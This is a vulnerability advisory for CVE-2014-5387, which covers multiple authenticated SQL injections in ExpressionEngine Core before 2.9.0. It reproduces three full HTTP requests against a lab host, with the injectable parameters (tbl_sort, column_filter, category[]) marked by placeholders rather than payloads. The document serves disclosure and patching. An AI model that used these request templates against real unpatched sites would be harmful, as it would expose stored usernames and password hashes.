EllisLab ExpressionEngine Core SQL Injection

Related Vulnerabilities: CVE-2014-5387   cve-2014-5387  
Publish Date: 04 Nov 2014
                							

                Vulnerability title: Multiple Authenticated SQL Injections in EllisLab ExpressionEngine Core
CVE: CVE-2014-5387
Vendor: EllisLab
Product: ExpressionEngine Core
Affected version: Versions earlier than 2.9.0 Fixed version: 2.9.1 Reported by: Jerzy Kramarz and Alex Murillo Moya

Details:

SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database.

The following URLs and parameters have been confirmed to suffer from Multiple SQL injections:

Vulnerability 1

POST
/ex/system/index.php?S=d80babaf271e481ba9a8fde69dd72b28&D=cp&C=addons_modules&M=show_module_cp&module=comment
HTTP/1.1
Host: 192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-TOKEN: e5806ae56ad19f2124a4a22e517b00dfd47d2c32
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer:
http://192.168.56.103/ex/system/index.php?/cp/addons_modules/show_module_cp&module=comment&S=d80babaf271e481ba9a8fde69dd72b28
Content-Length: 243
Cookie: [...]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

tbl_sort%5B0%5D%5B%5D=comment_date<SQL
Injection>&tbl_sort%5B0%5D%5B%5D=asc&csrf_token=e5806ae56ad19f2124a4a22e
Injection>517b00dfd47d2c32&keywords=&XID=e5806ae56ad19f2124a4a22e517b00d
Injection>fd47d2c32


Vulnerability 2

POST
/ExpressEngine/system/index.php?S=5711f695056db582aa7427787f525d6f&D=cp&C=members&M=view_all_members
HTTP/1.1
Host: 192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-TOKEN: e5806ae56ad19f2124a4a22e517b00dfd47d2c32
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [...]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

csrf_token=ee4[...]&member_name=1&column_filter=all<SQL
Injection>&XID=ee4[...]


Vulnerability 3

POST
/ExpressEngine/system/index.php?/cp/content_publish/entry_form&channel_id=2&entry_id=3&filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjIiO30%3D&S=5711f695056db582aa7427787f525d6f
HTTP/1.1
Host: 192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101
Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://192.168.56.103/ExpressEngine/system/index.php?/cp/content_publish/entry_form&channel_id=2&entry_id=3&filter=YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjIiO30=&S=5711f695056db582aa7427787f525d6f
Cookie: [...]
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------317032379522964
Content-Length: 4607

-----------------------------317032379522964
Content-Disposition: form-data; name="entry_id"

3
-----------------------------317032379522964
Content-Disposition: form-data; name="channel_id"

2
-----------------------------317032379522964
Content-Disposition: form-data; name="autosave_entry_id"

0
-----------------------------317032379522964
Content-Disposition: form-data; name="filter"

YToxOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjIiO30=
-----------------------------317032379522964
Content-Disposition: form-data; name="csrf_token"

468a1cb7f860c43937e82527bb0c2dd0fea381e6
-----------------------------317032379522964
Content-Disposition: form-data; name="member_group[]"

1
-----------------------------317032379522964
Content-Disposition: form-data; name="layout_preview"

1
-----------------------------317032379522964
Content-Disposition: form-data; name="title"

About the Label
-----------------------------317032379522964
Content-Disposition: form-data; name="url_title"

about_the_label
-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_4"

text

-----------------------------317032379522964
Content-Disposition: form-data; name="field_ft_4"

xhtml
-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_5_hidden_file"

map2.jpg
-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_5_hidden_dir"

2
-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_5"; filename=""
Content-Type: application/octet-stream

-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_5_directory"

2
-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_6"

-----------------------------317032379522964
Content-Disposition: form-data; name="field_id_7"

1
-----------------------------317032379522964
Content-Disposition: form-data; name="field_ft_7"

xhtml
-----------------------------317032379522964
Content-Disposition: form-data; name="entry_date"

8/13/14 2:02 PM
-----------------------------317032379522964
Content-Disposition: form-data; name="expiration_date"

-----------------------------317032379522964
Content-Disposition: form-data; name="comment_expiration_date"

-----------------------------317032379522964
Content-Disposition: form-data; name="category[]"

4<SQL Injection>
-----------------------------317032379522964
Content-Disposition: form-data; name="category[]"

3<SQL Injection>
-----------------------------317032379522964
Content-Disposition: form-data; name="new_channel"

2
-----------------------------317032379522964
Content-Disposition: form-data; name="status"

open
-----------------------------317032379522964
Content-Disposition: form-data; name="author"

1
-----------------------------317032379522964
Content-Disposition: form-data; name="sticky"

y
-----------------------------317032379522964
Content-Disposition: form-data; name="allow_comments"

y
-----------------------------317032379522964
Content-Disposition: form-data; name="pages__pages_uri"

/asd
-----------------------------317032379522964
Content-Disposition: form-data; name="pages__pages_template_id"

4
-----------------------------317032379522964
Content-Disposition: form-data; name="submit"

Submit
-----------------------------317032379522964--



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